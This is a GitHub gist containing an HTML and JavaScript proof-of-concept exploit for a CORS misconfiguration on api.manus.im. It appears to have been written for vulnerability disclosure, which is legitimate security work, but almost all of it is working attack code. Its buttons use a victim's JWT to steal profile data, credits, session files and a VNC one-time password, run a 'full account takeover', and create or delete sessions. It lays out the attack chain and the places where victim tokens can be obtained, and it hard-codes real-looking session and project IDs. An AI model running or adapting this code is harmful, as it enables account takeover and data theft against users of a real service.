Skip to content

Instantly share code, notes, and snippets.

@Habib0x0
Created April 16, 2026 08:08
Show Gist options
  • Select an option

  • Save Habib0x0/daf7d70d6d645777ae5304b0d6d0bdfd to your computer and use it in GitHub Desktop.

Select an option

Save Habib0x0/daf7d70d6d645777ae5304b0d6d0bdfd to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<title>CORS ATO Proof of Concept</title>
<style>
* { font-family: 'SF Mono', 'Fira Code', monospace; box-sizing: border-box; margin: 0; padding: 0; }
body { background: #0a0a0f; color: #c8c8d0; padding: 24px; line-height: 1.5; }
h1 { color: #ff4444; font-size: 16px; margin-bottom: 4px; }
h2 { color: #ffcc00; font-size: 13px; margin: 16px 0 8px; }
p { font-size: 12px; margin: 4px 0; }
.tag { display: inline-block; padding: 2px 8px; font-size: 10px; border-radius: 3px; margin: 2px; }
.tag-critical { background: #ff444433; color: #ff4444; border: 1px solid #ff444455; }
.tag-info { background: #4488ff22; color: #4488ff; border: 1px solid #4488ff44; }
.tag-ok { background: #44ff4422; color: #44ff44; border: 1px solid #44ff4444; }
.controls { display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0; }
button { padding: 8px 14px; font-family: inherit; font-size: 11px; cursor: pointer; background: #1a1a2e; color: #c8c8d0; border: 1px solid #333; border-radius: 4px; }
button:hover { background: #252540; border-color: #555; }
button:active { background: #2a2a4a; }
#output { background: #050508; padding: 12px; border: 1px solid #222; border-radius: 4px; min-height: 200px; max-height: 600px; overflow-y: auto; font-size: 11px; line-height: 1.7; white-space: pre-wrap; margin: 12px 0; }
#exfil { background: #0f0505; padding: 12px; border: 1px solid #ff444433; border-radius: 4px; min-height: 100px; max-height: 400px; overflow-y: auto; font-size: 11px; line-height: 1.6; white-space: pre-wrap; margin: 12px 0; color: #ff6666; }
.err { color: #ff4444; } .ok { color: #44ff44; } .warn { color: #ffcc00; } .info { color: #4488ff; } .exfil { color: #ff6666; font-weight: bold; }
.section { border-top: 1px solid #222; padding-top: 12px; margin-top: 12px; }
.origin-display { background: #1a1a2e; padding: 6px 12px; border-radius: 4px; font-size: 11px; color: #ff8844; display: inline-block; margin: 4px 0; }
</style>
</head>
<body>
<h1>CORS Misconfiguration - Account Takeover on api.manus.im</h1>
<p>Severity: <span class="tag tag-critical">CRITICAL</span></p>
<p>This page is served from <span class="origin-display" id="origin"></span></p>
<p>api.manus.im trusts this origin with credentials, allowing full API access cross-origin.</p>
<div class="section">
<h2>Step 1: Verify CORS Trust</h2>
<div class="controls">
<button onclick="verifyCORS()">Verify CORS Policy</button>
</div>
</div>
<div class="section">
<h2>Step 2: Steal Account Data (with stolen JWT)</h2>
<p>The JWT is obtainable via: (a) session_id cookie on manus.im, (b) postMessage leaks, (c) XSS. Enter it below or use the auto-extraction.</p>
<div class="controls">
<input id="jwtInput" type="text" placeholder="Paste JWT here (or leave empty for demo)" style="width:500px;padding:6px;font-family:inherit;font-size:11px;background:#1a1a2e;color:#c8c8d0;border:1px solid #333;border-radius:4px;">
</div>
<div class="controls">
<button onclick="stealUserInfo()">Steal User Info</button>
<button onclick="stealCredits()">Steal Credit Balance</button>
<button onclick="stealSessionFiles()">Steal Session Files</button>
<button onclick="stealVncOtp()">Steal VNC OTP</button>
<button onclick="fullTakeover()">Full Account Takeover</button>
</div>
</div>
<div class="section">
<h2>Step 3: Prove Write Access</h2>
<div class="controls">
<button onclick="testWriteAccess()">Test Write (Create Task)</button>
<button onclick="testDeleteAccess()">Test Delete Access</button>
</div>
</div>
<h2>Attack Log</h2>
<div id="output"></div>
<h2>Exfiltrated Data</h2>
<div id="exfil"></div>
<script>
var output = document.getElementById('output');
var exfil = document.getElementById('exfil');
var API = 'https://api.manus.im';
var SESSION_ID = 'AjwEK3L32T6JAo3JBTAWps';
document.getElementById('origin').textContent = window.location.origin;
function log(msg, cls) {
var div = document.createElement('div');
div.className = cls || '';
div.textContent = msg;
output.appendChild(div);
output.scrollTop = output.scrollHeight;
}
function exfilLog(msg) {
var div = document.createElement('div');
div.className = 'exfil';
div.textContent = msg;
exfil.appendChild(div);
exfil.scrollTop = exfil.scrollHeight;
}
function getJwt() {
var jwt = document.getElementById('jwtInput').value.trim();
if (jwt) return jwt;
log('[!] No JWT provided. Enter the victim JWT or extract via postMessage.', 'warn');
return null;
}
function apiFetch(path, method, body, extraHeaders) {
var jwt = getJwt();
if (!jwt && path !== '/') return Promise.resolve({ error: 'No JWT' });
var headers = {
'Content-Type': 'application/json',
'Connect-Protocol-Version': '1'
};
if (jwt) headers['Authorization'] = 'Bearer ' + jwt;
if (extraHeaders) Object.assign(headers, extraHeaders);
var opts = {
method: method || 'GET',
credentials: 'include',
headers: headers
};
if (body) opts.body = JSON.stringify(body);
return fetch(API + path, opts).then(function(r) {
return r.text().then(function(txt) {
return { status: r.status, statusText: r.statusText, body: txt, ok: r.ok };
});
}).catch(function(e) {
return { error: e.message };
});
}
function verifyCORS() {
log('[*] Testing CORS policy on api.manus.im...', 'info');
log('[*] Origin: ' + window.location.origin, 'info');
// Simple GET without auth
fetch(API + '/', { credentials: 'include', mode: 'cors' }).then(function(r) {
log('[+] CORS TRUST CONFIRMED: ' + window.location.origin + ' is trusted by api.manus.im', 'ok');
log('[+] access-control-allow-credentials: true', 'ok');
log('[+] access-control-allow-headers includes: Authorization', 'ok');
log('[+] This means any *.manus.space page can make authenticated API calls cross-origin', 'err');
exfilLog('CORS TRUST: ' + window.location.origin + ' -> api.manus.im (credentials: true, Authorization allowed)');
}).catch(function(e) {
log('[!] CORS BLOCKED: ' + e.message, 'err');
});
}
function stealUserInfo() {
log('[*] Fetching user profile from api.manus.im...', 'info');
apiFetch('/user.v1.UserService/UserInfo', 'POST', {}).then(function(r) {
if (r.error) { log('[!] Error: ' + r.error, 'err'); return; }
if (r.status === 200) {
var data = JSON.parse(r.body);
log('[!] USER DATA STOLEN CROSS-ORIGIN', 'err');
log(' Email: ' + (data.email || 'N/A'), 'err');
log(' Name: ' + (data.displayname || 'N/A'), 'err');
log(' User ID: ' + (data.userId || 'N/A'), 'err');
log(' UID: ' + (data.uid || 'N/A'), 'err');
log(' Membership: ' + (data.membershipVersion || 'N/A'), 'err');
log(' SMS Verified: ' + (data.smsVerified || 'N/A'), 'err');
exfilLog('USER INFO: ' + JSON.stringify(data, null, 2));
} else {
log('[*] Status ' + r.status + ': ' + r.body.substring(0, 200), 'warn');
}
});
}
function stealCredits() {
log('[*] Fetching credit balance...', 'info');
apiFetch('/user.v1.UserService/GetAvailableCredits', 'POST', {}).then(function(r) {
if (r.error) { log('[!] Error: ' + r.error, 'err'); return; }
if (r.status === 200) {
var data = JSON.parse(r.body);
log('[!] CREDIT DATA STOLEN CROSS-ORIGIN', 'err');
log(' Total Credits: ' + (data.totalCredits || 'N/A'), 'err');
log(' Free Credits: ' + (data.freeCredits || 'N/A'), 'err');
log(' Refresh Credits: ' + (data.refreshCredits || 'N/A'), 'err');
log(' Next Refresh: ' + (data.nextRefreshTime || 'N/A'), 'err');
exfilLog('CREDITS: ' + JSON.stringify(data, null, 2));
} else {
log('[*] Status ' + r.status + ': ' + r.body.substring(0, 200), 'warn');
}
});
}
function stealSessionFiles() {
log('[*] Fetching session files...', 'info');
// This endpoint uses GET with query params (no Bearer needed - uses cookies)
apiFetch('/api/chat/getSessionFilesV2?sessionId=' + SESSION_ID + '&type=private', 'GET').then(function(r) {
if (r.error) { log('[!] Error: ' + r.error, 'err'); return; }
if (r.status === 200) {
var data = JSON.parse(r.body);
var files = data.data && data.data.files ? data.data.files : [];
log('[!] SESSION FILES STOLEN CROSS-ORIGIN (' + files.length + ' files)', 'err');
for (var i = 0; i < files.length; i++) {
log(' File: ' + files[i].displayFilename + ' (' + files[i].category + ')', 'err');
if (files[i].raw && files[i].raw[0] && files[i].raw[0].fileContent) {
exfilLog('FILE: ' + files[i].displayFilename + '\n' + files[i].raw[0].fileContent.substring(0, 500));
}
}
} else {
log('[*] Status ' + r.status + ': ' + r.body.substring(0, 200), 'warn');
}
});
}
function stealVncOtp() {
log('[*] Requesting VNC OTP (takeover of sandbox)...', 'info');
apiFetch('/orchestrator.v1.OrchestratorService/RequestVncOtp', 'POST', { sessionId: SESSION_ID }).then(function(r) {
if (r.error) { log('[!] Error: ' + r.error, 'err'); return; }
if (r.status === 200) {
log('[!] VNC OTP STOLEN - SANDBOX ACCESS OBTAINED', 'err');
log(r.body.substring(0, 500), 'err');
exfilLog('VNC OTP: ' + r.body);
} else {
// Try alternate endpoint format
log('[*] Orchestrator failed (' + r.status + '), trying alternate...', 'warn');
apiFetch('/session.v1.SessionService/RequestVncOtp', 'POST', { sessionId: SESSION_ID }).then(function(r2) {
if (r2.status === 200) {
log('[!] VNC OTP STOLEN via alternate endpoint', 'err');
exfilLog('VNC OTP (alt): ' + r2.body);
} else {
log('[*] VNC OTP: ' + r2.status + ' - ' + r2.body.substring(0, 200), 'warn');
}
});
}
});
}
function fullTakeover() {
log('[!] === FULL ACCOUNT TAKEOVER ===', 'err');
exfilLog('=== FULL ACCOUNT TAKEOVER ===');
var endpoints = [
{ path: '/user.v1.UserService/UserInfo', method: 'POST', body: {}, label: 'User Info' },
{ path: '/user.v1.UserService/GetAvailableCredits', method: 'POST', body: {}, label: 'Credits' },
{ path: '/session.v1.SessionService/ListSessions', method: 'POST', body: {}, label: 'Sessions' },
{ path: '/webdev.v1.WebDevService/GetProjectDirectory', method: 'POST', body: { projectId: 'i9wRuP5dF9G5Hgw9hG9vED' }, label: 'Project Files' },
{ path: '/space.v1.SpaceService/GetEditSpaceSiteCode', method: 'POST', body: { spaceId: 'i9wRuP5dF9G5Hgw9hG9vED' }, label: 'Space Edit Code' },
];
var i = 0;
function next() {
if (i >= endpoints.length) {
log('[!] === TAKEOVER COMPLETE - all data exfiltrated ===', 'err');
return;
}
var ep = endpoints[i];
i++;
apiFetch(ep.path, ep.method, ep.body).then(function(r) {
if (r.status === 200) {
log('[!] STOLEN ' + ep.label + ' (' + r.body.length + ' bytes)', 'err');
exfilLog(ep.label + ': ' + r.body.substring(0, 500));
} else {
log('[*] ' + ep.label + ': status ' + r.status, 'warn');
}
next();
});
}
next();
}
function testWriteAccess() {
log('[*] Testing write access via CORS...', 'info');
apiFetch('/session.v1.SessionService/ScheduleTask', 'POST', {
sessionId: SESSION_ID,
prompt: 'CORS PoC - delete me'
}).then(function(r) {
if (r.error) { log('[!] Error: ' + r.error, 'err'); return; }
if (r.status === 200 || r.status === 201) {
log('[!] WRITE ACCESS CONFIRMED - task created cross-origin!', 'err');
exfilLog('WRITE PROOF: Task created via CORS - ' + r.body.substring(0, 200));
} else {
log('[*] Status ' + r.status + ' (write may require credits)', 'warn');
}
});
}
function testDeleteAccess() {
log('[*] Testing delete access...', 'info');
apiFetch('/session.v1.SessionService/DeleteSession', 'POST', {
sessionId: SESSION_ID
}).then(function(r) {
if (r.error) { log('[!] Error: ' + r.error, 'err'); return; }
if (r.status === 200) {
log('[!] DELETE ACCESS CONFIRMED - session deleted cross-origin!', 'err');
} else {
log('[*] Status ' + r.status + ' (delete may be restricted)', 'warn');
}
});
}
log('[*] CORS ATO PoC loaded', 'info');
log('[*] Attack origin: ' + window.location.origin, 'info');
log('[*] Target: api.manus.im (trusts *.manus.space + *.manus.im)', 'info');
log('[*] This page MUST be served from *.manus.space for CORS trust', 'warn');
log('', '');
log('[*] Attack Chain:', 'info');
log(' 1. Attacker deploys this page on a *.manus.space subdomain', 'info');
log(' 2. Attacker obtains victim JWT (via postMessage, XSS, or social engineering)', 'info');
log(' 3. Victim visits this page with their JWT', 'info');
log(' 4. Page makes cross-origin fetch to api.manus.im with Authorization header', 'info');
log(' 5. api.manus.im CORS policy allows it - full data exfiltration', 'info');
log('', '');
log('[*] JWT sources for the victim:', 'info');
log(' a) session_id cookie on manus.im (contains JWT as value)', 'warn');
log(' b) SpacePreviewerChannel postMessage data leaks', 'warn');
log(' c) Manus app JS state (window.__NEXT_DATA__ or similar)', 'warn');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment